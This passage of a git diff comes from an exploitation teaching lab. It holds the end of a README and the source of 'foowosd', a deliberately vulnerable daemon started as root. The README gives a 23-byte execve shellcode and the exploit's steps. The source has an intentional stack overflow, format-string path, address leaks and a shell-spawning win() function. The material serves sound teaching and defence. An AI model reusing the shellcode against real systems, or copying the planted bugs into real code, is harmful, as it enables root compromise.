|
and the first bare `ret`. From the displacement it computes
|
||||||
|
`rip_off = 80 + 8 = 88`. Nothing is hardcoded; this survives a rebuild.
|
||||||
|
2. **Self-introspection** — reads its own `/proc/self/maps` and `dlsym()`s
|
||||||
|
`system`/`read` to learn libc *offsets*. The target's libc base is
|
||||||
|
`leaked_read − off_read`, then `system = base + off_system`, and so on.
|
||||||
|
This delta-arithmetic is why exploits stay alive across libc versions.
|
||||||
|
3. **Connect** — reads the banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||||
|
4. **Build the payload** — for `shellcode`: 23 bytes of machine code, padding
|
||||||
|
to `rip_off`, then the saved RIP = `buf` (so `ret` jumps onto the code).
|
||||||
|
For `ret2win`/`ret2libc`: addresses computed from analysis — no execution
|
||||||
|
of the stack needed.
|
||||||
|
5. **The alignment fix** — a hijacked bare `ret` hands the callee `rsp ≡ 8
|
||||||
|
(mod 16)`, and glibc's SSE2 code `movaps`-faults on a misaligned stack (the
|
||||||
|
crash reporter logs `si_addr=(nil)` — the tell). foowosc inserts one extra
|
||||||
|
`ret` gadget before the real target, restoring the invariant. Kid-gloves
|
||||||
|
engineering in a shellcode lab, but it is the difference between a payload
|
||||||
|
that "sometimes works" and one that always works.
|
||||||
|
6. **Send, then relay** — the victim process *is* the shell; this process only
|
||||||
|
splices bytes. No local shell, no second reader — the single-read-cursor
|
||||||
|
failure (one byte eaten off every chunk) is documented in `become_shell()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The daemon's deliberate bugs (all in `foowosd.c`, all real CWE classes)
|
||||||
|
|
||||||
|
| # | bug | CWE | note |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` into a 64-byte stack buffer | CWE-120 | the overflow: 448 bytes past `buf`, saved RIP at +88 |
|
||||||
|
| 2 | `snprintf(line, …, "%.*s", …)` only; but attacker `%` in the echo path | CWE-134 | the leak is the real payload here; a `%n` in a *root* process would be write-what-where as root |
|
||||||
|
| 3 | children keep root while handling untrusted input | CWE-271 | the correct `drop_privs()` (setgroups→setgid→setuid, in that order, with a verify) sits in the file, commented, *deliberately uncalled* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` disclosed to every client | CWE-200 | without these leaks the shellcode and ret2libc techniques could not compute addresses (ASLR would defeat them) |
|
||||||
|
|
||||||
|
The handler is exactly the same `buf[64]`/`read(512)` shape as the other two
|
||||||
|
labs, so the shared objdump-based discovery pipeline works unchanged.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## How to inspect the daemon (learning path)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # is it running? as which uid? file mode shown
|
||||||
|
make run-root # or run / run-root-ns
|
||||||
|
./foowosc -t leak # see the banner and the leaks, send nothing
|
||||||
|
./foowosc -t demo # junk overflow -> SIGSEGV, logged with RIP/rsp
|
||||||
|
./foowosc -t shellcode # the interactive root shell
|
||||||
|
make test-root # full matrix, all techniques, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash reporter: on SIGSEGV the daemon logs the faulting address, RIP and RSP.
|
||||||
|
A `ret` into non-canonical `0x4141…` faults at the `ret` itself (RIP like
|
||||||
|
`0x4028xx`, `si_addr=(nil)`) — worth knowing before you misread a log line as
|
||||||
|
a NULL dereference.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Why the shellcode is 23 bytes, not 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
The SUID lab needs `setreuid(0,0)` before this. This lab does not, for the
|
||||||
|
reason repeated throughout: **ruid is already 0** because root started the
|
||||||
|
process. `make verify` proves the bytes in `foowosc.c` are byte-for-byte what
|
||||||
|
`shellcode.S` assembles to.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Mitigations — what `make hardened` changes
|
||||||
|
|
||||||
|
Hardened build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||||
|
|
||||||
|
| technique | vulnerable `foowosd` | hardened `foowosd_hardened` |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
| `shellcode` | root shell (executable stack) | SIGSEGV at the canary check / NX |
|
||||||
|
| `ret2win` / `ret2libc` | root shell | canary aborts `ret` — but note: a *PIE* build also makes those addresses random |
|
||||||
|
| `demo` | SIGSEGV, logged | SIGSEGV, logged |
|
||||||
|
|
||||||
|
`make test-hardened` demonstrates this live. The important observation is not
|
||||||
|
just that the mitigations killed the techniques — it is that they did **not**
|
||||||
|
make the daemon "not root". A hardened build that is still *started* as root
|
||||||
|
is still a root daemon; the mitigation only raises the bar for the attacker.
|
||||||
|
Least privilege (`drop_privs()`) and memory safety are two different bugs,
|
||||||
|
and a daemon that does not need root should not have it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Safety rails (same policy as the SUID lab)
|
||||||
|
|
||||||
|
- **Loopback only.** foowosd refuses any bind other than `127.0.0.1` /
|
||||||
|
`localhost` / `::1` unless you pass `-L`. A root daemon on a real interface
|
||||||
|
is a *remote* root service. `-L` exists solely to show the guard; do not
|
||||||
|
use it on anything that matters.
|
||||||
|
- **State is logged loudly.** Startup prints `ruid/euid` and whether this is
|
||||||
|
a root process, so you always know which exploit outcome to expect.
|
||||||
|
- **Verdicts come from exit statuses** in `make test*` (the pty harness's
|
||||||
|
return code), never from grepping its stdout — greppable output lies.
|
||||||
|
- **pty must run cooked + ECHO off** or the harness echoes its own command
|
||||||
|
line and fakes the marker. The harness turns ECHO off and keeps ECHONL on.
|
||||||
|
- **Cleanup ritual:** `make stop` after every session. If the daemon is
|
||||||
|
root-owned, `stop` tells you to run `sudo pkill -x foowosd`.
|
||||||
|
- Never run this on any host you care about. It exists to hand out `uid=0`
|
||||||
|
shells over the loopback interface.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Exercises
|
||||||
|
|
||||||
|
1. Run `make run` (user daemon), then `./foowosc -t shellcode`. Why is the
|
||||||
|
shell not root? (Check `ids=` in the banner — foowosc tells you before you
|
||||||
|
even connect.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Explain, from the
|
||||||
|
banner line, why all four techniques now yield `uid=0(root)`.
|
||||||
|
3. In `foowosd.c`, find `drop_privs()` and read *why the order* of
|
||||||
|
`setgroups → setgid → setuid` matters. Decide where in `main()` it would
|
||||||
|
belong, and what the lab's exploit surface becomes once it is actually
|
||||||
|
called.
|
||||||
|
4. Compute `rip_off` by hand from `objdump -d foowosd`: find `buf`'s
|
||||||
|
`lea -0xNN(%rbp)` inside `vulnerable_handler`, then `NN + 8`. foowosc does
|
||||||
|
exactly this; check its math against your own.
|
||||||
|
5. `make hardened && make test-hardened`. Which technique falls to the canary
|
||||||
|
and which to NX? Why does hardening not change what `make status` reports
|
||||||
|
about the *process*?
|
||||||
|
6. Compare the two labs' shellcodes: 23 bytes here, 32 for foosd. What does
|
||||||
|
the extra 9 bytes do, and why is it only needed in the SUID case?
|
||||||
|
7. Read `become_shell()`'s comment about the single read cursor. Recreate the
|
||||||
|
failure mode mentally: two readers on one socket means the login shell eats
|
||||||
|
one byte per chunk — "uid=1000…" arrives as "id=1000…". Why can a relay
|
||||||
|
process never have this bug?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c the vulnerable root daemon (every line commented)
|
||||||
|
foowosc.c the exploit (every line commented)
|
||||||
|
shellcode.S reference assembly for the 23-byte payload
|
||||||
|
tests/pty_wosuid_test.c the pty harness (marker + strict id-shape checks)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Sibling labs: `../food.c`/`../fooc.c` (user-level baseline, port 2342) and
|
||||||
|
`../suid/` (SUID-root daemon `foosd`/`foosc`, port 2343). Ports are distinct
|
||||||
|
on purpose — you can run all three at once and cross-check their banners'
|
||||||
|
`ids=` lines.
|
||||||
1130
wosuid/foowosc.c
Normal file
1130
wosuid/foowosc.c
Normal file
File diff suppressed because it is too large
Load diff
669
wosuid/foowosd.c
Normal file
669
wosuid/foowosd.c
Normal file
|
|
@ -0,0 +1,669 @@
|
||||||
|
/*
|
||||||
|
* ============================================================================
|
||||||
|
* foowosd.c -- "foowosd": an INTENTIONALLY VULNERABLE daemon that becomes
|
||||||
|
* root the honest way: by being STARTED as root.
|
||||||
|
* ============================================================================
|
||||||
|
*
|
||||||
|
* PURPOSE
|
||||||
|
* -------
|
||||||
|
* This is the "no setuid bit" companion to the other two labs:
|
||||||
|
*
|
||||||
|
* food / fooc a plain daemon: the overflow gives you a user shell
|
||||||
|
* foosd / foosc a SETUID-root daemon: root arrives via the +s bit
|
||||||
|
* foowosd/ foowosc THIS one: no +s bit anywhere. Root arrives because
|
||||||
|
* somebody STARTED the process as root.
|
||||||
|
*
|
||||||
|
* The setuid bit is not the only way a process ends up privileged. Any
|
||||||
|
* daemon launched by root -- a `sudo ./foowosd`, a systemd unit with
|
||||||
|
* `User=root`, an init script -- has real uid 0, effective uid 0, and saved
|
||||||
|
* uid 0. To the kernel and to every access-control check it makes, that
|
||||||
|
* process IS root, indistinguishable from one that arrived there via +s.
|
||||||
|
* And an overflow in a root process is a root exploit, filesystem
|
||||||
|
* attributes notwithstanding.
|
||||||
|
*
|
||||||
|
* THAT is the lesson of this file: the setuid bit is a *transfer vehicle*
|
||||||
|
* for privilege, not the privilege itself. "I don't have SUID binaries" is
|
||||||
|
* NOT the same as "I am not vulnerable to privilege escalation". If your
|
||||||
|
* daemon runs as root and it has a reachable memory-safety bug, you have a
|
||||||
|
* root-exploit -- with or without the letter 's' in anyone's file mode.
|
||||||
|
*
|
||||||
|
* WHY THE EXPLOIT HERE IS DIFFERENT FROM THE SUID LAB -- ruid
|
||||||
|
* ----------------------------------------------------------
|
||||||
|
* A setuid-root binary gives the process euid 0 but LEAVES ruid at the
|
||||||
|
* launching user's id (1000). bash and dash notice `euid != ruid` at
|
||||||
|
* startup and reset euid = ruid -- the shell's own guard against this
|
||||||
|
* attack -- which is why foosc's shellcode had to call setreuid(0,0) first.
|
||||||
|
*
|
||||||
|
* A daemon *started* as root has ruid == euid == 0. There is no mismatch
|
||||||
|
* for the shell's guard to notice, so a plain `execve("/bin/sh")` keeps
|
||||||
|
* root -- no setreuid needed. The same 23 bytes that pwnd `food` in the
|
||||||
|
* parent lab, byte for byte, open a *root* shell against this daemon,
|
||||||
|
* because the process they run in is already fully root. The shellcode
|
||||||
|
* chosen for foowosc therefore does not contain a setreuid prefix.
|
||||||
|
*
|
||||||
|
* SAFETY RAILS (identical policy to the SUID lab -- a root daemon is no
|
||||||
|
* less dangerous because it got there without +s)
|
||||||
|
* -------------------------------------------------
|
||||||
|
* * Binds 127.0.0.1 by default and REFUSES a non-loopback bind unless you
|
||||||
|
* pass -L. A root daemon on a real interface is a remote root service.
|
||||||
|
* * Logs at startup whether it is running as root or as a normal user, so
|
||||||
|
* you always know which exploit outcome to expect.
|
||||||
|
* * Same deliberate bugs as food/foosd, so the whole toolchain
|
||||||
|
* (objdump-based offset discovery, leak parsing, alignment fix, pty
|
||||||
|
* harness) carries over unchanged.
|
||||||
|
*
|
||||||
|
* Build: make foowosd
|
||||||
|
* make run-root (needs sudo; starts the daemon as real root)
|
||||||
|
* make run-root-ns (no sudo: user-namespace root, for verification)
|
||||||
|
* make run (baseline: starts it as your normal user)
|
||||||
|
*
|
||||||
|
* HOW TO BECOME ROOT HERE -- and how NOT to
|
||||||
|
* -----------------------------------------
|
||||||
|
* START AS ROOT: sudo make run-root -> ruid=0 euid=0
|
||||||
|
* START AS ROOT (ns): make run-root-ns -> namespaced 0/0 (test-only)
|
||||||
|
* PLAIN USER: make run -> ruid=1000 euid=1000
|
||||||
|
*
|
||||||
|
* The exploit behaves the same in all three cases -- it just yields a root
|
||||||
|
* shell in the first two. That "the agency, not the attribute, is what
|
||||||
|
* matters" property is the whole point of this lab.
|
||||||
|
*
|
||||||
|
* THE BUILD FLAGS (same deliberate removals as the other two labs)
|
||||||
|
* ----------------------------------------------------------------
|
||||||
|
* -fno-stack-protector no canary: the overflow is not detected
|
||||||
|
* -no-pie fixed addresses: win() is a constant
|
||||||
|
* -z execstack executable stack: shellcode can run
|
||||||
|
*
|
||||||
|
* `make hardened` re-enables all three; the maliciously shareable lesson is
|
||||||
|
* that those flags do nothing about the "running as root" design decision.
|
||||||
|
*
|
||||||
|
* Usage: ./foowosd [-h HOST] [-p PORT] [-d] [-L]
|
||||||
|
* ============================================================================
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Request the gnu decls we need (dprintf, etc.). */
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
|
||||||
|
#include <errno.h> /* errno, strerror(). */
|
||||||
|
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
|
||||||
|
#include <grp.h> /* setgroups(): part of the (never-called) privilege
|
||||||
|
* drop -- supplementary groups must go first. */
|
||||||
|
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
|
||||||
|
#include <signal.h> /* signal(), sigaction(). */
|
||||||
|
#include <stdarg.h> /* va_list for our log wrapper. */
|
||||||
|
#include <stdint.h> /* uint16_t. */
|
||||||
|
#include <stdio.h> /* dprintf, snprintf. */
|
||||||
|
#include <stdlib.h> /* atoi, _exit. */
|
||||||
|
#include <string.h> /* memset, strncmp, memchr, strlen. */
|
||||||
|
#include <sys/socket.h>/* socket, bind, listen, accept. */
|
||||||
|
#include <sys/stat.h> /* umask. */
|
||||||
|
#include <sys/types.h> /* ssize_t, pid_t. */
|
||||||
|
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
|
||||||
|
#include <sys/wait.h> /* waitpid(). */
|
||||||
|
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Configuration constants */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Port. 2344 keeps this lab clear of food (2342) and foosd (2343). It is
|
||||||
|
* above 1024 on purpose: binding it needs NO privilege, so root here is
|
||||||
|
* pure design smell -- a correct daemon would drop privileges after bind,
|
||||||
|
* and the lab's whole point is what happens when it does not. */
|
||||||
|
#define FOOWOSD_PORT 2344
|
||||||
|
|
||||||
|
/* Loopback is the ONLY default. -L is required to go further. */
|
||||||
|
#define FOOWOSD_HOST "127.0.0.1"
|
||||||
|
|
||||||
|
/* Size of the overflowed buffer. Same shape as food/foosd so the shared
|
||||||
|
* objdump-based offset detection works unchanged. */
|
||||||
|
#define FOOWOSD_BUFSZ 64
|
||||||
|
|
||||||
|
/* How much read() accepts. The mismatch with FOOWOSD_BUFSZ IS the bug. */
|
||||||
|
#define FOOWOSD_READMAX 512
|
||||||
|
|
||||||
|
/* Size of the second (format-string demo) buffer. */
|
||||||
|
#define FOOWOSD_LOGSZ 128
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Logging (same design as the other labs: the log never reaches the attacker)*/
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
|
||||||
|
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
|
||||||
|
* memory or crashes a child never learns internal paths or addresses from
|
||||||
|
* logs (and never mixes its own bytes with ours). */
|
||||||
|
static int g_logfd = -1;
|
||||||
|
|
||||||
|
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
|
||||||
|
* write() per line, so forked children cannot interleave mid-line. */
|
||||||
|
static void logmsg(const char *fmt, ...)
|
||||||
|
{
|
||||||
|
char line[1024]; /* Whole-message scratch. */
|
||||||
|
va_list ap; /* Variadic argument cursor. */
|
||||||
|
int n; /* Bytes formatted. */
|
||||||
|
|
||||||
|
/* va_start MUST precede any use of ap. An uninitialised va_list makes
|
||||||
|
* vsnprintf walk wild stack memory -- a real bug that was hit in the
|
||||||
|
* earlier food.c, hence the comment. */
|
||||||
|
va_start(ap, fmt);
|
||||||
|
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
|
||||||
|
va_end(ap); /* Always pair va_start with va_end. */
|
||||||
|
if (n < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (g_logfd >= 0)
|
||||||
|
dprintf(g_logfd, "[foowosd %d] %s\n", (int)getpid(), line);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
|
||||||
|
* hold them next to the deliberately broken read() in vulnerable_handler()
|
||||||
|
* and see the difference: these loop until done and check every result. */
|
||||||
|
__attribute__((unused))
|
||||||
|
static ssize_t read_exact(int fd, void *buf, size_t n)
|
||||||
|
{
|
||||||
|
size_t got = 0;
|
||||||
|
while (got < n) {
|
||||||
|
ssize_t r = read(fd, (char *)buf + got, n - got);
|
||||||
|
if (r < 0) {
|
||||||
|
if (errno == EINTR)
|
||||||
|
continue;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (r == 0)
|
||||||
|
break;
|
||||||
|
got += (size_t)r;
|
||||||
|
}
|
||||||
|
return (ssize_t)got;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ssize_t write_all(int fd, const void *buf, size_t n)
|
||||||
|
{
|
||||||
|
size_t sent = 0;
|
||||||
|
while (sent < n) {
|
||||||
|
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
|
||||||
|
if (w <= 0) {
|
||||||
|
if (w < 0 && errno == EINTR)
|
||||||
|
continue;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
sent += (size_t)w;
|
||||||
|
}
|
||||||
|
return (ssize_t)sent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The ret2win target */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* win() -- the "easy" backdoor. The same function as in food.c and foosd.c,
|
||||||
|
* and the difference between this lab and the SUID lab is contained in it.
|
||||||
|
*
|
||||||
|
* In the SUID lab this exact code produced a NON-root shell, because foosd
|
||||||
|
* had euid 0 but ruid 1000, and bash reset euid = ruid at startup.
|
||||||
|
*
|
||||||
|
* Here the daemon is STARTED as root, so at this instant ruid == euid == 0.
|
||||||
|
* fork() inherits both ids, execve() changes neither, and bash starts with
|
||||||
|
* equal uid 0s -- its guard has nothing to reset, so execve("/bin/sh") keeps
|
||||||
|
* root. "spawn a shell" works against a genuinely-root process; it only
|
||||||
|
* fails against the half-root (euid-only) state the setuid bit produces.
|
||||||
|
* That asymmetry -- why one lab needs setreuid and this one does not -- is
|
||||||
|
* the entire technical heart of the two labs side by side.
|
||||||
|
*/
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void win(void)
|
||||||
|
{
|
||||||
|
pid_t pid;
|
||||||
|
|
||||||
|
logmsg("win() reached -- exec'ing /bin/sh (ruid==euid here, so the shell "
|
||||||
|
"stays root; contrast with foosd where ruid stayed 1000)");
|
||||||
|
|
||||||
|
/* Fork so the daemon's accept-loop child can be reaped and return. */
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("win(): fork() failed: %s", strerror(errno));
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
/* Must NOT return: that would pop attacker bytes as the next RIP. */
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
|
||||||
|
execl("/bin/sh", "sh", (char *)NULL);
|
||||||
|
_exit(127); /* Only reached if exec failed. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
__attribute__((noinline, used))
|
||||||
|
static void vulnerable_handler(int fd)
|
||||||
|
{
|
||||||
|
char buf[FOOWOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
|
||||||
|
char line[FOOWOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
|
||||||
|
ssize_t n; /* Bytes actually read. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The BUF= leak -- the same deliberate CWE-200 disclosure as the other
|
||||||
|
* labs. The stack is ASLR-randomised; without this the shellcode could
|
||||||
|
* not find itself. Real-world leaks of this kind come from %p format
|
||||||
|
* bugs, crash dumps, debug endpoints, or serialised uninitialised
|
||||||
|
* pointers.
|
||||||
|
*
|
||||||
|
* FIX: never print addresses to untrusted clients.
|
||||||
|
*/
|
||||||
|
dprintf(fd, "BUF=%p\n", (void *)buf);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ====================================================================
|
||||||
|
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
|
||||||
|
* ====================================================================
|
||||||
|
* Identical to the other labs: 512 bytes are accepted into a 64-byte
|
||||||
|
* array, so the attacker writes 448 bytes past the end, overwriting the
|
||||||
|
* saved frame pointer and — 8 bytes later — the saved return address.
|
||||||
|
* On return, `ret` jumps wherever the attacker said:
|
||||||
|
*
|
||||||
|
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
|
||||||
|
*
|
||||||
|
* The ONLY difference from food is *what that means*: here the hijacked
|
||||||
|
* process has real-and-effective uid 0 (it was started as root), so
|
||||||
|
* "attacker controls RIP" becomes "attacker controls root's RIP" --
|
||||||
|
* with no setuid bit anywhere on this filesystem.
|
||||||
|
*
|
||||||
|
* FIXES (in increasing order of strength):
|
||||||
|
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
|
||||||
|
* 2. -fstack-protector-strong (canary aborts `ret`)
|
||||||
|
* 3. do not take network input into fixed stack buffers at all
|
||||||
|
* And SEPARATELY: never run this daemon as root; and if you must, drop
|
||||||
|
* privileges the moment you are done binding (see drop_privs()). Memory
|
||||||
|
* safety and least privilege are two different bugs; fix both.
|
||||||
|
*/
|
||||||
|
n = read(fd, buf, FOOWOSD_READMAX); /* <-- CWE-120, THE bug. */
|
||||||
|
if (n <= 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* Echo back a truncated copy so you can watch the overflow in the log.
|
||||||
|
* Clamping for display does not undo the overwrite that already happened. */
|
||||||
|
{
|
||||||
|
ssize_t show = n < FOOWOSD_BUFSZ ? n : FOOWOSD_BUFSZ;
|
||||||
|
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
|
||||||
|
(void)write_all(fd, buf, (size_t)show);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ====================================================================
|
||||||
|
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
|
||||||
|
* ====================================================================
|
||||||
|
* Same as the other labs: attacker '%'-specifiers in `buf` could read
|
||||||
|
* stack words with %x or write memory with %n. Here the process is
|
||||||
|
* root, so a %n is a write-what-where primitive IN A ROOT PROCESS. It
|
||||||
|
* runs only on a copy in `line`, and only if the payload contains '%'.
|
||||||
|
*
|
||||||
|
* FIX: printf("%s", buf), never printf(buf).
|
||||||
|
*/
|
||||||
|
if (memchr(buf, '%', (size_t)n) != NULL) {
|
||||||
|
snprintf(line, sizeof(line), "%.*s", (int)FOOWOSD_LOGSZ - 1, buf);
|
||||||
|
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
|
||||||
|
(void)write_all(fd, line, strlen(line));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* On return the (attacker-controlled) saved return address becomes RIP. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Crash reporter (same rationale as the other labs: a crash should tell you */
|
||||||
|
/* it was malicious; the fault address is the return address the client */
|
||||||
|
/* supplied). */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
|
||||||
|
{
|
||||||
|
ucontext_t *uc = (ucontext_t *)ucv;
|
||||||
|
unsigned long rip = 0, rsp = 0;
|
||||||
|
|
||||||
|
if (uc != NULL) {
|
||||||
|
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
|
||||||
|
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
|
||||||
|
}
|
||||||
|
|
||||||
|
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
|
||||||
|
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
|
||||||
|
"supplied)", rip, rsp);
|
||||||
|
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
|
||||||
|
"if it is an address INSIDE vulnerable_handler itself it IS the "
|
||||||
|
"`ret` instruction: a ret into a non-canonical address (e.g. "
|
||||||
|
"0x4141414141414141) faults at the ret, not at the target.");
|
||||||
|
|
||||||
|
/* Re-raise with the default disposition so the process still dies, with
|
||||||
|
* the correct status, rather than re-executing the faulting instruction
|
||||||
|
* forever (returning from this handler would do exactly that). */
|
||||||
|
signal(sig, SIG_DFL);
|
||||||
|
raise(sig);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void install_crash_reporter(void)
|
||||||
|
{
|
||||||
|
struct sigaction sa;
|
||||||
|
|
||||||
|
memset(&sa, 0, sizeof(sa));
|
||||||
|
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
|
||||||
|
sa.sa_flags = SA_SIGINFO;
|
||||||
|
sigemptyset(&sa.sa_mask);
|
||||||
|
|
||||||
|
if (sigaction(SIGSEGV, &sa, NULL) < 0)
|
||||||
|
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
|
||||||
|
if (sigaction(SIGBUS, &sa, NULL) < 0)
|
||||||
|
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* fd handling */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
|
||||||
|
* every technique (ret2win, ret2libc, shellcode) produces a shell that
|
||||||
|
* automatically speaks over the network. */
|
||||||
|
static void prepare_client_fds(int fd)
|
||||||
|
{
|
||||||
|
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
|
||||||
|
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
|
||||||
|
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
|
||||||
|
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* THE INFORMATION LEAK */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* send_leaks() -- tell the attacker:
|
||||||
|
*
|
||||||
|
* ids= this process's euid/ruid. THE "AM I ROOT ?" CHECK.
|
||||||
|
* foowosc prints a loud warning when euid is not 0,
|
||||||
|
* because without a root daemon there is no root shell
|
||||||
|
* and the user would otherwise think the exploit broke.
|
||||||
|
* leak stack=... an address on the stack, for the shellcode
|
||||||
|
* leak libc=... the real address of read() inside libc, for ret2libc
|
||||||
|
*
|
||||||
|
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
|
||||||
|
* harness proves a live shell by grepping the session transcript for the
|
||||||
|
* strict `id`-output shape "uid=NNN(", and a banner containing "uid=" as
|
||||||
|
* part of "euid="/"ruid=" would itself satisfy a careless grep. This kind of
|
||||||
|
* "the probe and the answer must not share a signature" thinking is what you
|
||||||
|
* do when you write real assertions about untrusted output.
|
||||||
|
*/
|
||||||
|
static void send_leaks(int fd)
|
||||||
|
{
|
||||||
|
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
|
||||||
|
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
|
||||||
|
|
||||||
|
libc_read = &read; /* &read resolves through the GOT to libc. */
|
||||||
|
|
||||||
|
dprintf(fd, "FOOWOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
|
||||||
|
(int)geteuid(), (int)getuid(),
|
||||||
|
(void *)&stack_marker, (void *)libc_read);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
|
||||||
|
* -------------------------------------------
|
||||||
|
* drop_privs() -- what a well-written daemon would do the moment it no
|
||||||
|
* longer needs root. Two mistakes to notice, both immune to every compiler
|
||||||
|
* mitigation:
|
||||||
|
*
|
||||||
|
* * ORDER: setgroups() before setgid() before setuid(), and ONLY AFTER
|
||||||
|
* binding the port and opening any root-only files. Drop first and the
|
||||||
|
* whole point of root is gone.
|
||||||
|
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
|
||||||
|
* process may later regain privileges via the saved id otherwise).
|
||||||
|
*
|
||||||
|
* Port 2344 needs no privilege, so the correct design would call this right
|
||||||
|
